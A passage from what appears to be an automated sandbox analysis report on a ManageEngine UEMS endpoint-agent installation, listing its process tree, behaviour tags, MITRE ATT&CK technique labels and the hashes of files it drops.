C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\acp_component.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\appctrl\bin\"5⤵
- Drops file in Program Files directory
PID:64
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe" -PostUpgrade5⤵PID:5776
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"6⤵PID:1432
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe" -install5⤵PID:4588
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\dcprocmon.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\dcprocmon.exe"6⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:3884 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe30 0 07⤵PID:2992
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\ACPipelogServer.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\ACPipelogServer.exe"6⤵
- Checks processor information in registry
PID:4532
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe" RegisterContextMenu6⤵
- System Location Discovery: System Language Discovery
PID:4496
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\\Privilager.exe"6⤵
- System Location Discovery: System Language Discovery
PID:1056
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n d57c4dc4-daa3-496d-85ce-28fc06cd5c6e -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -c dcm-win -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\DeviceControl-metadata.json" -a 24⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2372 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r5⤵
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:5492
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe5⤵
- Reads the TCP/IP host and domain name from the registry
PID:5412
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DeviceControl.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\"5⤵
- Drops file in Program Files directory
PID:4464
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe -r5⤵PID:5372
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exedcagenttrayicon.exe5⤵PID:740
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaaphelper.exe" -n dd65fe8a-c3a8-45d0-9747-05463d2b8ded -f "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpCommonComponents.zip" -c dlp_win_neutral -m "C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\EndpointDLP-metadata.json" -a 14⤵PID:972
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DlpCommonComponents.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\EndpointDLP\\bin\\"5⤵PID:1516
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:456
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5156 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵
- Executes dropped EXE
PID:3548
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵
- Executes dropped EXE
PID:4312
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵
- Executes dropped EXE
PID:4136
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W10x64.sys"C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\NotifDriver_W10x64.sys"1⤵PID:4908
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:1792 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesDevCtrlSummary.exe-s ET_ENUM 9 2 "Unknown"2⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4184
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59ff0b.rbs
- Size 63KB
- SHA256 2aa07fd134c211c0c325ce2848db5407be7bf02ca3d9d94d0c125a79cc61e301
- MD5 dcdca9e95010d4a94ed7eef98c0dad71
- SHA1 4e540f72d7906f0cf1381ab694059ebc250586f4
- SHA512 ada9a6556c2c0d098d8270f3e77a86065c3f9ca2d177a91d529a8f7721fcd5e8403261b24e91ae3d1f7318ab03e617425e56a8f9e1c4bf26ed1bfe2000fdfd30
- SSDEEP 768:d2vw1oOjyhMzY7yjDO+GLAt5aEoe4OEzaLwOwb4ImBVbi:Q8oGyh7UDO+YjDEjvzbi
- TLSH T15C537166DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e59ff11.rbs
- Size 546B
- SHA256 85a7e1873084a12e8debab97b3aa18a11dcaad8416250f4f735eb5c423f44564
- MD5 24ba500e61944486b077c76077e4ecf2
- SHA1 6d94463a9324a53d7e3bf3bf84c8342ce7e79903
- SHA512 1159f5061dea8f786b4f9557a69533ccc8720daf2d40950c581caf39fff799bad475d505056b7dab10130fc6cbb5a74ca949e927cc5f02da62cdf2fc989b6f28
- TLSH T195F00ED3A70846D2D1906F3612033F441A2FE17E915447762E8062387E2620E5EFA0DC
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 055c09d0dce8860f644cf4c74717b40f8db8e7a8a6cacb87ebcdf4a5f6bd5cc4
- MD5 2154cd13f2a44dc09dd6b9ad53328738
- SHA1 b1a2014873cb7008932e56a7271ddea8d5657c3b
- SHA512 a548a7ef7c5173974dd4ca736bd06d9355997f8143c470d1d3fe6b5496ccf88a3949c8f4fde65e64454a78c5f1f7b3c81c7e1794d660299b4bd7f0703d26bcb9
- TLSH T14821246B0AAAC4807E2DCE954CAF1955B18AC7518EE91E2B707014F50EA060BFD1D083
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\DCFAFilter.inf
- Size 3KB
- SHA256 bea86592123e7bc548beeb9c6bc87d3139a6085ec971fb3f5eefd94b1c2858ac
- MD5 d208d9242a049fb2804e5f8000402cfd
- SHA1 6c790f2059761fb777022eb69c29c23d5645e88f
- SHA512 7e57bacc3f24e8b2b1b7e2eba32081bdecf11153dfb76638b22e8b8f80bf1cd29fb186fb3207ababf21db9b4cff353317094732d98d245ea8ca29d8ac3caa043
- TLSH T14661DB6867929678AA963720BF13388377643184D0F4218437ED8189A7D7D4EC5B17FA
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\DCFAFilter.sys
- Size 70KB
- SHA256 f187e79fcad76d87c2b7cc2e56088b3f7790cf016a62df83e944e1e850568629
- MD5 1f9caf9acf4c6772e0b1d281c82d3c5f
- SHA1 98fb26c64b71052e8788e37f3734ee0c2ff2f2c5
- SHA512 9172e721dc10fcbbdcaa9482e507342e99658f92176e7484e4172b314052f9b4c3eb6fb79f3992d51753522349903e25289c4caf0c4fdcff9d700f1611c24b72
- SSDEEP 768:28KWkjIOBuy8tibBQ/+PweTervtdV2WPU3Ypm+YIy/Kt0Gu6f2nit7O1o902or2b:JptUBQ/WLTETbAzCCO902oJPbt3WWzC/
- TLSH T16A63AE87877012E2EEE79974B1CD9953FDB9B5822BA149CB03A1C4551F0B3D1BB3831A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10Debug\dcfafilter.cat
- Size 12KB
- SHA256 50589c9297b14e2a726579e92f5460e666b74f8cbd3592722ad7e2e1f51fb3fa
- MD5 69ea04a034fd21a606bd081a36ba48ac
- SHA1 45fdfd9312a7f02847fd4eec11c1fcf4efa7328c
- SHA512 ab8e8d86ee1330add91556e3c1c453c0e2738f43e79677e14acb8fad3aed1058bc5a9e5650cbb0c3d3a29d708963b063274e55bfeba4c98a3cdd5eae7f57fffc
- SSDEEP 192:VuXrPCJCc3Z2CEwLJ+hYCrv3Y8u27X01k9z3Agq24/z2Xf1:YmnJL+h3Eo7R9zQQv1
- TLSH T18F42F7A584684083FDA7EC6057E8F5837C7A23CB694045A71AEEF71A0E633C5FB5426C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\DCFAFilter.inf
- Size 3KB
- SHA256 cc6a2243c6752ef721d0ca97d994e020813b307f621b9254fd571f7e1e5320ea
- MD5 728419b752a40c7255984966111ba924
- SHA1 34fa21893cca7b9a7bc6bfc24124e6b625678990
- SHA512 60c80c5e716b13e9c60844d14777eca8ed5c4ccb3698aca65ce64366d778d6ed05283d9a1aba9f714a7d8e24f7586651a0931a3279aacc2ad3000536db2ef176
- TLSH T13D61FC6867929678AA863720BF13388377643184D0F4208437ED81C9A7D7D4EC4B17FA
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\DCFAFilter.sys
- Size 65KB
- SHA256 4c997c58e9c5f23cb612e130a8499d908eb1859b47976096fd091b733714e0b8
- MD5 23aa4dd9cea7f9a5231573742940374e
- SHA1 c6f38a14fc9b83a100829550a1c2a12fd909bb09
- SHA512 09116e3558d8ec77043ff38e281b476d45c970d6ff6bce06ed842a79f466f5c2104b4d878207c99ef4386df408bbce55e811dfe02b3806fd68e34b762521ef88
- SSDEEP 768:qm1MSOVQruPw173iyxgyNsyNN4/meYIy/Kt0qUCPhFy9xor2MPbAf5ALj033wGOi:qma3/w173Iy3NxTCCChExoJPbQHyLz
- TLSH T11F63AE43C56450A3EE838971B1ECDA2B3D3DB6821FD854C79394C85926793C1FF6A21E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\dcfafilter.cat
- Size 12KB
- SHA256 cd026a710de21018fb423e68de73d4d3ee746b8b9e50e27015be597edef16f2c
- MD5 ae6925e96a4a21dfc4cf756ce3237a1a
- SHA1 28c04ddc9ba1b5658ce1a6b1c6e99ea0ca5c830f
- SHA512 82cbbcee3879080b5d920b08b23ea21de5bb4f1c146642d5c9e8cdbd42ac3bda4fcb13d6052a047b88c546349e00fb375862f9d72c121f815621bb463f8b9a56
- SSDEEP 192:aEd+JWJCc3Z2CEwLJ+hYCTwmhdxP3NGmVX01k9z3AVaNxkY5PoKUw:amnJL+h38mhP3U0R9zSMx5PoKUw
- TLSH T17642F8A2896850C3F9A7EC6043E8F5977C7927CB6940456A16EEE70E0D637C5FB2422C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4168.tmp
- Size 5KB
- SHA256 848fc75eedea9f563934b5401a4ede05377cf598a97a7b032f275e84c64c70a0
- MD5 195bc348bd9f1c11c997e08105976f41
- SHA1 0194d178daaf02d2ec6a0782bccee5be5a0b8761
- SHA512 2afdc887cda86a71919952d10e886d2137e9b62b2e9015bccdbfeb763ca0d4e0de1bfe6f2097e328e12e223c3869fb043acb53e746246eed90f58e0baa85491d
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFb5i6hOt/EAA:gUGHElZhoA4zA
- TLSH T127B13010A0A28F6813B17B5C999AEA55CD160262361E1E05F06D39A70F3EFC27DB74F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4252.tmp
- Size 9B
- SHA256 bac0662712b7b39d4817f00ac40c2d4bbd49c0d1fb3fa45a78e7437620b022c6
- MD5 742b41a5748f83435a18ceb0920f2adc
- SHA1 3179a9a47a6148d6d1d0d2ffae55a0ca3424052f
- SHA512 a7e516d967fadf9ce07b3ba99e6b846cdfdc8c168e5dd6c4991dbfee1a7fb9792f6dd14c5064e030bac88b81243c4016417c5a46a9df98d34ddfac4c7378f15c
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc4984.tmp
- Size 190B
- SHA256 9627851903dfc627f84b362168b23a52c8b8493f5f93d85ef385f9f93b07734e
- MD5 a496810152ad380a4c46881111a0e097
- SHA1 298da0d13175a3631d85b7c5a0be2200f04f888e
- SHA512 75c3faca3584a5f36e232c7f451665dff34cab6c783cb1aaa981098c1996e9808f3354dd5db1bf3b7ee7d1a502cee566793995e1475f02706f720862808954ba
- TLSH T151C0C006309CF46254983100224DF33166887C04C22B46CCC15810600F23B03D5C9E4E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\Privilager.exe
- Size 443KB
- SHA256 d4811ef744a8a13419774fce16f14b153823e46484362a8a607780cc4913b683
- MD5 6ee84f3ea3c9af86196cc6f77b2c49fb
- SHA1 a5ac694d7aca53df93f36fee34e3b184d6261f66
- SHA512 98f3dc70fbe379101f195d0cab7a0e55fb6333316d9b116993a54f3005e8846a9d3d9b9aef067d3eb4cc00fd045761c4c312b715ab46f24f82752b9a45e96136
- SSDEEP 6144:16U0D+0eiLw4Jg1D3qFovhitO7MGjfX8NZLJnxcbBMTdov3f4R0B6mISsAdpSt2a:6Pei6aftE8r8bO4X558
- TLSH T130A4AE21758AC031D56291B14D78DFB56A7CF4704FA164C7B3E84A7BAE602C22B39F27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\bin\VerifyTrustedFiles.exe
- Size 5.1MB
- SHA256 6ff056989c9a277c89ad3b6c0d5a61094b64f733e422c5fb0a892df102ae6dcb
- MD5 899977a324143db74b7ae17b5696439f
- SHA1 b8875b186dbf20f5ebae9e64ef8e811dbea31ffb
- SHA512 cc4651a1810c661a16b81daeac400dab0e392626836fdcf4e28ddade227f2abd119f13fcb1a3739b5b396e8c816be69cf4e78903a97d4f3d3d1d04d14a05a86d
- SSDEEP 98304:UkPBJ5LU4C6p73ad1Fq+qtGYwoRCCTiTtpSc2BKndhgfSr0qDd/RTVZq:U6BJ5LUIRadyxKvCqpSk4Klbq
- TLSH T1A4367C217616C075D68502F1652DFFBA819CAA394BA514CBB3C45F7AA6302D33B36F23
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\InstalledSoftwareScan_DataDiff.json
- Size 4KB
- SHA256 3e1256b6b8fc7495789e21e4438fff6a27012a6f1f7e9b6c89137aad86edb4bc
- MD5 9723a76a0a661ebc71d5e4011bc7e541
- SHA1 b99bc69e4c42430746185b83209c36c5756183f4
- SHA512 98ca344b548e0273fececac735ec1ac79baecd24d12cdbf3e2a22eb66c7735ef10f32b49be7ab937cec7c636f0f23dfb58c5e94bf36fdfa30378dc2ae451b791
- SSDEEP 96:v1sDt15pCEZzVD6EvbTSJMDnEobTJhDOExbozZDC0d1zLiFSte4XylIKFkhAEJUn:v1sDt15pCYzcMHkWt/JUAMI0zLiMte4a
- TLSH T1E3A1AA96CA12CC6B22706AF125108E42F5EA4BEFD6F85407773F035E6FFF2A50224529
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\indexed\CURRENT
- Size 16B
- SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
- MD5 46295cac801e5d4857d09837238a6394
- SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
- SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\indexed\IDENTITY
- Size 36B
- SHA256 4d70e92aad5d36243e79337817fb9529f7dc25a93c6743b25671050aeee71032
- MD5 e12ed3702e02dcf91f6c7b22fba6707b
- SHA1 525998c973cdd89946a0ca45de6231476b3e99a4
- SHA512 f277c8f3c0d01afb44dec572433e5dcaf43416ba9058d5c87f5995231b5301edf262b82dd6e672b7f01441948ffca9293f78c55907d2172f82c5e690684b18cf
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\indexed\OPTIONS-000007
- Size 7KB
- SHA256 2bf20d005456775239298e2f72be2ed34a17fb6e35cb6909c763b5dd4b49e536
- MD5 65fcf6fe3809e0481e87330443791ac6
- SHA1 379fa0218f2d16504fde9c00ab1d27caa7d43c18
- SHA512 f33f711e5e42621da83562595923f7596f11f96d40de1823eec9d2d612ca4c8babe9228729d4d770b454f25f37bfcfa0c0d22309fac2cca6a7cffc26dff67d53
- SSDEEP 192:FBXdrlZkYBKfhPmhZZZZZYBa5TGBCB75ipnXkSzx19g:FBhBKPFBa5T7B7MJkStTg
- TLSH T196E1A4629E78AC7E71D3D9749527953A1633B20AF2C518C0EF2CC72836D168D9AAF304
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\indexed_dnsa\000005.dbtmp
- Size 16B
- SHA256 9c283f6e81028b9eb0760d918ee4bc0aa256ed3b926393c1734c760c4bd724fd
- MD5 9f36605efba98dab15728fe8b5538aa0
- SHA1 6a7cff514ae159a59b70f27dde52a3a5dd01b1c8
- SHA512 1893aa3d1abcf7f9e83911468fa2eeb2ad1d7e23f4586bd6c4d76f9f96a645c15e63e44da55700347165e97b6ac412e6d495b81c3da9faa61d617c7a71a7404c
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\indexed_dnsa\IDENTITY
- Size 36B
- SHA256 37a462b500655a4b3774671ba28fa5b1f1c7f8634c9cfc70c12567799087c1a0
- MD5 b59389c8df40cac6722c8de80c85a3bb
- SHA1 6cb3014aac72735cd184cc5d17e44fa783224b87
- SHA512 2ddbb8e8892bb966eaee78ad689b2e8941496d246a7d7a3df0b582cd8196528369b79588c6358a3cbbed6f00065c025bcc9195decfd68f13ac8d62d2976d3a3e
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\appctrl\data\indexed_dnsa\MANIFEST-000001
- Size 13B
- SHA256 a5470366105aeee25520e5c2e8a3ece98671c505f9b6d3e934071d3849a6fe54
- MD5 af9930675de5b0fb297f47fddf52ccbc
- SHA1 afad9658bdee42aa971bfae8408cca8b40d093c3
- SHA512 4c5c8d386039d2a9dc485a6d60dec0bdffa8f74584f55430fe78c05d3a7233c6e8f768f4e00ddffccfcadb53598405615bc6258621a14a176395a61e7a405ad1
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 83213e2eaf59ae51dae43ef745211cfec11fc2f2cdddcf12e60e876cb31432a2
- MD5 44cd42312f8ef1ff272cc404cee42076
- SHA1 8c293f4faa0e4ff97565e1464ee29a1fdb2a2c21
- SHA512 78039f0b5451408330d13228956a772ce8577c830b6f6908f1afa3dd3c067c7c5b5e6d5b5c27c4ff4c8ee9bf38e6d809dddbf972cf89a84da150752cd82768d4
- SSDEEP 49152:Xg2pzZ21QzJJC9d/ImYL5lYbyMffECDYBPkPzUVGoXvPU5BLBjAKnbwk1e:XgE1PJo9d/ImYNlYbyMffE8nwl
- TLSH T16EE59E07FB83D5B1DD8E027801B79B7F5D3A8D184B2089E39B9029ADA8761D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
- Size 174B
- SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
- MD5 c98570a2004587ccac5ac6de21859690
- SHA1 0726125790986ab8034cc4bfb6c87e48f6d908e3
- SHA512 5ca2548e689e32a22b4f12f578dc1309783d9834d82aaa82d489f3cf727e6e6ea2712b1c848452af50f39416eed6cb07d525a158a1a95102a56efb283228baba
- TLSH T1DBC08C6A4634F92F6C021F632B2006412FF502E12068A00CE0CF3F00161004FE30A306
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\MisconfigEngine.dll
- Size 1.1MB
- SHA256 db32bd04d4abc24525d4663f5225d0ce47817cd59893bdea337cfbc7fee7b537
- MD5 1f5a8467b568bec01bd4c7bc56932a98
- SHA1 8f6d833d6fce745d1a84133253e8350169b77ca3
- SHA512 840858084612182cab4828dea82f23d541f443e61b07bf51cadef2dfaff4c2825c7d98ed7886000b11cc36934b37a893cd59660a3280c4655a2df6b335a5f5e1
- SSDEEP 24576:s7ph5LMKh+HkfdSeRLlELFb5zbCRxEPGRHFEQCPB7545E3L1ihzh8uZax4zOkvE:cL5LMKUve/ELbbCRxpEPB1wE3L1KlOks
- TLSH T1CA457E027505C031D69D63F11B39BFB4A7ACE9341BA344C7B3C05EBA99615C3B536E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ServerDetectionChecks.dll
- Size 893KB
- SHA256 b179d26ebbcd397f2efef028bc1faf6b7100a96b3493c5944eec0742e571d754
- MD5 09aa1cd3bdd3642e21ac31cddac0ca14
- SHA1 c67e70bed878b0e58f9869b23efa45231d93c125
- SHA512 5c0ef6116791892cb4180c3c5f410ef60bbdd5067fd6d1ad04bc5d4114f106fad69f4b9dad30191240e4a74ed0361e49df48abc5323ae8fd5e1d2adfb6a9ee11
- SSDEEP 24576:8dCkdl7jeOgDf1sqFhFBXeZfgZLzzxi9zEvAJq3EzEDjUIhMZH6S:DkdlPeXNdhFBXeZfgZLDUBzEDnhMJ6S
- TLSH T14215AE1138C88031EBAA2172897CBB755BEDD9210B6945EB13C82D7F6F346C36B3165B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 480KB
- SHA256 1350d993df746987d9f73a5f16bbbcfc007b973b47aae002b896e9d8de1d1db1
- MD5 45cb15ecac73aaee280a266da5ae9f16
- SHA1 69ff47fcbc3bb10b39577928a407fb7c49e0b816
- SHA512 6d42216d65331c810a6f92961fc3f7d8c5d559051a4fca5183c05322d023fb47a4b7ab3c643f7b628af0e638eb09ca7d2acc37ee702880475788a9d609b648ac
- SSDEEP 6144:P0hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQb:PkKB2NPd4sEL90IdI1PbylPP7
- TLSH T197A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
- Size 29.1MB
- SHA256 14ae05d3e056207fa991ede24704f76bfb6a7c329993769e78374113c4ac0193
- MD5 7cb254ffe00821b17585487c2fdd8bb9
- SHA1 e224df4a24a8d7886b3799a5934e7999a090368e
- SHA512 b5daa042af9843f08ad0922b7506595f35f5e419099bd1c0368a27606d2c4a9e576c5e43819e790c62e6380e6277b37dd04ba932b7385d991a5246700d83eea7
- SSDEEP 786432:83NdazNRz1l+az5PdEKYu+FoWf4WHiNMJ741oj:83NdyNRz1YIdmqWAWHN941oj
- TLSH T105673372A01DE23ED713607FACAFCD75D8254F485DBCD97B13EEA80186462A39B22435
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 46532137b794eee1e1b1459bd74d8b4dd79e05533076a4b30e78105c9ce0acd9
- MD5 9357d00934d3b4c2f2a3e1876ccb67bc
- SHA1 e9225f0c769057a01ee70906b0a3ef63277d5a90
- SHA512 12f87b3255ed9b682ba6a37de30d65ac8fb351fae7f51c3dc8984d5ed8b6fd0260a940de876b05e7863ee8b158948a2da0bb029936320894b248a516ec3ee9b9
- SSDEEP 3072:QR7kVnRpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTAq:QR7kVn5weorw3RrDpfNtnVCXkZosuW1o
- TLSH T175348E6175D0C072D9A304369CB8DBB6597EF8200F71A5DB63980A7FDE206C29B71B1E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
- Size 1.5MB
- SHA256 9df7a780cd51de4467f55c8553ba361b1207de9f6073aa5eab5368154041bf2c
- MD5 f959f54f1eadb9edbb8c3817712cbb04
- SHA1 b29d1779b1f366c1fd4ce58f3215af02eb8f5cec
- SHA512 ca25a0bb1a74ccc120ddacdcd64f8eee80563403bc4e9e598f299a9ad69daba9a439eb811d1fc3fcac256cfab0f3ca41d5092deb11b3d5d692452ad151ddf87d
- SSDEEP 24576:QMooJgy1mleByM1eWqjNIGeRCWbBodAMJBUY5ZGMUlqLaWVsqxmPttYf1x:zNmMPUzEpbBJ0dtRVsqD9x
- TLSH T19B75AF2376428031D2A100B19D29AB75AF7DA9680B71C4F3E3C49D7DC5E09D29A3E77E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
- Size 478KB
- SHA256 cf9baab4f2b57f55955b48136b8d7b6363ce98c3a9b185777ee87f4e5b268852
- MD5 11205026ff81c21455c5a8d32e47c1b5
